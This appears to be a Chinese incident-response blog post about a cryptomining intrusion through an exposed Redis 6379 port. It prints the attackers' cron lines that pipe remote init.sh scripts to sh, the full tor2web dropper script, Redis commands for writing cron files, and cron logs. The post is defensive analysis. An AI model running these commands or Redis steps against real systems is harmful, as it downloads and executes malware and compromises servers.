问题发现
突然接到安全告警,告警内容如下:
紧急安全事件:Linux 可疑计划任务
并在之后不久收到若干个告警,告警标题如下:
进程异常行为-访问恶意下载源
登录服务器后,使用命令 crontab -u root -l
查看 root
用户的计划任务后发现若干不明计划任务,关键内容如下,完整内容见文章结尾:
*/2 * * * * cdt -fsSL http://204.44.105.168:66/init.sh | sh
*/3 * * * * wget -q -O- http://204.44.105.168:66/init.sh | sh
*/5 * * * * wdt -q -O- http://xmr.ipzse.com:66/init.sh | sh
*/4 * * * * curl -fsSL http://xmr.ipzse.com:66/init.sh | sh
通过 ps
查看后发现大量 bash
在执行同一个恶意脚本,脚本如下
(
tbin=$(command -v passwd)
bpath=$(dirname "${tbin}")
curl="curl"
if [ $(curl --version 2>/dev/null | grep "curl " | wc -l) -eq 0 ]; then
curl="echo"
if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null | grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi
fi
wget="wget"
if [ $(wget --version 2>/dev/null | grep "wgetrc " | wc -l) -eq 0 ]; then
wget="echo"
if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null | grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi
fi
if [ $(cat /etc/hosts | grep -i ".onion." | wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" >/etc/hosts >/dev/null 2>&1; fi
${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -o ~/.ntp || ${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -o ~/.ntp || ${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -o ~/.ntp || wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -O ~/.ntp || wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp || wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp
) && chmod +x ~/.ntp && sh ~/.ntp
脚本大意是指尝试使用各种方式在指定的服务器上下载一个什么东西并写入 .ntp
文件,并执行该文件,
至此发现服务器确实是被非法入侵了
临时处理
为了尽快解决问题并方便后续复盘,执行了如下指令分别保存了被恶意添加的计划任务和当天 crontab
的日志信息,得到的内容见文章末尾
crontab -u root -l > rec.log
cat /var/log/cron | grep ‘Oct 23’ > cron.log
为清除添加的定时任务,可以使用下列命令进行清除:
crontab -r
因为系统中存在多个用户,执行下列脚本删除全部用户的定时任务
for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -r -u $u;done
但是仍有部分任务需要手动删除,删除或清空下列文件
/etc/crontab
到这里在日志中可以看到恶意的定时任务减少了很多,但还没完,还需要手动对下列目录中的文件进行清理
/var/spool/cron/
至此应急处理完毕,crontab 日志、ps
进程列表中再无可疑进程信息
复盘
恶意挂马意图
尝试通过恶意计划任务指令获取到恶意脚本内容,通过全盘搜索没有在服务器上找到可疑的同名文件。
手动请求相关链接发现相应端口的 IP、域名均无法访问、ping 不通,通过域名访问到一个空白的模板页,分析可能是该文件服务器已经暂停服务了。
其域名中含有 XMR 字样,不难让人想到挖矿,可以猜测该文件服务器提供了一些挖矿脚本。
但是在服务器上执行 top 命令后并未发现异常负载问题。而且该文件服务器确实无法访问,导致挖矿进程并未在服务器上成功启动。
漏洞分析
从 cron 执行计划中保存的完整内容以及 /var/spool/cron/
目录下的文件中,可以发现,恶意脚本出现的地方,都与 redis
脱不开干系。
服务器装有 Redis 6.0.1 版本,恰好前阶段因图个方便,放开了 6379 端口,方便在远程使用、调试 redis 相关应用,从而导致了此次入侵。
漏洞处理办法
关闭 6379 端口,或者使用密码保护
漏洞原理
通过查阅资料得知 Redis 存在漏洞,可能导致远程恶意脚本上传、代码执行。
复现该漏洞,利用到以下特性:
- Redis 的持久化文件有可能将指令内容的一部分明文存储
- Linux 的定时任务支持读取配置文件来执行
- 运行 Redis 的用户有足够的权限修改定时任务的配置文件
了解到该原理后,可以大致还原出攻击步骤:
- 准备好恶意脚本,放置在指定的服务器上
- 扫描定位到可以直连的 Redis 服务,并进行连接
- 执行恶意指令,比如:
- 将工作路径设置到定时任务的配置文件路径下:
config set dir "/var/spool/cron"
- 将持久化文件名设置为用户名,即设置成指定用户的定时任务配置文件:
config set dbfilename www
- 执行带有恶意定时任务的 redis 命令,如
set key1 "\n*/4 * * * * curl -fsSL http://xmr.ipzse.com:66/init.sh | sh\n"
- 此时,www 这个用户的定时任务配置文件就会写成类似附录中的熊样,虽然会包含一些乱码,但符合语法的指令会正常执行,即上一步写入的恶意定时任务
- 定时任务生效,拉取并执行远程恶意代码
- 将工作路径设置到定时任务的配置文件路径下:
可指定路径存储明文文件的程序,均存在被此漏洞入侵的风险。
追加处理
-
修复被篡改的
/etc/hosts
文件 -
修复被篡改的
/etc/resolv.conf
文件 -
清除非法的 authorized_keys,即清除
/root/.ssh
下可疑内容的文件 -
限制本次遇到的域名、IP 的外网访问,可以通过手动添加 host 规则实现
-
如需使用
redis
不要使用 root 用户启动,且不要放开 6379 端口,使用开放端口时,一定使用密码进行保护
附录
恶意定时任务完整内容
REDIS0009ú redis-ver^E6.0.1ú
redis-bitsÀ@ú^EctimeÂÚØ^^_ú^Hused-memÂ<80>P^L^@ú^Laof-preambleÀ^@þ^@û^D^@^@^Gbackup1@@
*/2 * * * * cdt -fsSL http://204.44.105.168:66/init.sh | sh
^@^Gbackup2@B
*/3 * * * * wget -q -O- http://204.44.105.168:66/init.sh | sh
^@^Gbackup4@@
*/5 * * * * wdt -q -O- http://xmr.ipzse.com:66/init.sh | sh
^@^Gbackup3@@
*/4 * * * * curl -fsSL http://xmr.ipzse.com:66/init.sh | sh
ÿ|ÞÚ øÎ<94>^A
Cron 日志(删除重复内容)
Oct 23 15:42:11 ym crond[493]: (CRON) INFO (RANDOM_DELAY will be scaled with factor 31% if used.)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/crontab)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/ntp)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/user)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/redis)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/admin)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/web)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/backup.db)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/tomcat)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/nobody)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/6379.log)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/root)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/nginx)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/apache)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/www-data)
Oct 23 15:42:11 ym crond[493]: (CRON) bad minute (/etc/cron.d/www)
Oct 23 15:42:11 ym crond[493]: (red2.so) ORPHAN (no passwd entry)
Oct 23 15:42:11 ym crond[493]: (user) ORPHAN (no passwd entry)
Oct 23 15:42:11 ym crond[493]: (redis) ORPHAN (no passwd entry)
Oct 23 15:42:11 ym crond[493]: (admin) ORPHAN (no passwd entry)
Oct 23 15:42:11 ym crond[493]: (dump.rdb) ORPHAN (no passwd entry)
Oct 23 15:42:11 ym crond[493]: (6379.log) ORPHAN (no passwd entry)
Oct 23 15:42:11 ym crond[493]: (nginx) ORPHAN (no passwd entry)
Oct 23 15:42:11 ym crond[493]: (apache) ORPHAN (no passwd entry)
Oct 23 15:42:11 ym crond[493]: (appendonly-6379.aof) ORPHAN (no passwd entry)
Oct 23 15:42:11 ym crond[493]: (www-data) ORPHAN (no passwd entry)
Oct 23 15:42:11 ym crond[493]: (www) ORPHAN (no passwd entry)
Oct 23 15:42:11 ym crond[493]: (CRON) INFO (running with inotify support)
Oct 23 15:43:01 ym crond[493]: (cur) ERROR (getpwnam() failed)
Oct 23 15:43:01 ym CROND[8834]: (tomcat) CMD (cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh)
Oct 23 15:43:01 ym CROND[8837]: (root) CMD ((tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; ${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -o ~/.ntp||${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -o ~/.ntp||${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -o ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -O ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp) && chmod +x ~/.ntp && sh ~/.ntp)
Oct 23 15:43:01 ym CROND[8836]: (nobody) CMD (cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh)
Oct 23 15:43:01 ym CROND[8835]: (web) CMD (cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh)
Oct 23 15:43:01 ym CROND[8832]: (tomcat) MAIL (mailed 30 bytes of output but got status 0x004b#012)
Oct 23 15:43:01 ym CROND[8833]: (nobody) MAIL (mailed 30 bytes of output but got status 0x004b#012)
Oct 23 15:43:01 ym CROND[8831]: (web) MAIL (mailed 30 bytes of output but got status 0x004b#012)
Oct 23 15:44:01 ym crond[493]: (cdt) ERROR (getpwnam() failed)
Oct 23 15:44:01 ym crond[493]: (curl) ERROR (getpwnam() failed)
Oct 23 15:44:01 ym crond[493]: (cur) ERROR (getpwnam() failed)
Oct 23 15:44:01 ym CROND[8897]: (ntp) CMD (curl -fsSL http://xmr.ipzse.com:66/init.sh | sh)
Oct 23 15:44:01 ym CROND[8903]: (tomcat) CMD (cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh)
Oct 23 15:44:01 ym CROND[8904]: (nobody) CMD (cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh)
Oct 23 15:44:01 ym CROND[8905]: (root) CMD (curl -fsSL http://xmr.ipzse.com:66/init.sh | sh)
Oct 23 15:44:01 ym CROND[8906]: (root) CMD (cdt -fsSL http://204.44.105.168:66/init.sh | sh)
Oct 23 15:44:01 ym CROND[8898]: (ntp) CMD (cdt -fsSL http://204.44.105.168:66/init.sh | sh)
Oct 23 15:44:02 ym CROND[8901]: (web) CMD (cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh)
Oct 23 15:44:02 ym CROND[8896]: (root) MAIL (mailed 30 bytes of output but got status 0x004b#012)
Oct 23 15:44:02 ym CROND[8894]: (nobody) MAIL (mailed 30 bytes of output but got status 0x004b#012)
Oct 23 15:44:02 ym CROND[8893]: (tomcat) MAIL (mailed 30 bytes of output but got status 0x004b#012)
Oct 23 15:44:02 ym CROND[8890]: (ntp) MAIL (mailed 30 bytes of output but got status 0x004b#012)
Oct 23 15:44:02 ym CROND[8892]: (web) MAIL (mailed 30 bytes of output but got status 0x004b#012)
Oct 23 15:45:01 ym crond[493]: (wget) ERROR (getpwnam() failed)
Oct 23 15:45:01 ym crond[493]: (wdt) ERROR (getpwnam() failed)
Oct 23 15:45:01 ym crond[493]: (cur) ERROR (getpwnam() failed)
Oct 23 15:45:01 ym CROND[8986]: (ntp) CMD (wget -q -O- http://204.44.105.168:66/init.sh | sh)
Oct 23 15:45:01 ym CROND[8987]: (ntp) CMD (wdt -q -O- http://xmr.ipzse.com:66/init.sh | sh)
Oct 23 15:45:01 ym CROND[8993]: (tomcat) CMD (cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh)
Oct 23 15:45:01 ym CROND[8995]: (root) CMD (wdt -q -O- http://xmr.ipzse.com:66/init.sh | sh)
Oct 23 15:45:01 ym CROND[8996]: (root) CMD (wget -q -O- http://204.44.105.168:66/init.sh | sh)
/var/spool/cron/appendonly-6379.aof
文件片段
*/2 * * * * cdt -fsSL http://204.44.105.168:66/init.sh | sh
*3
$3
set
$7
backup2
$66
*/3 * * * * wget -q -O- http://204.44.105.168:66/init.sh | sh
*3
$3
set
$7
backup3
$64
*/4 * * * * curl -fsSL http://xmr.ipzse.com:66/init.sh | sh
*3
$3
set
$7
backup4
$64
*/5 * * * * wdt -q -O- http://xmr.ipzse.com:66/init.sh | sh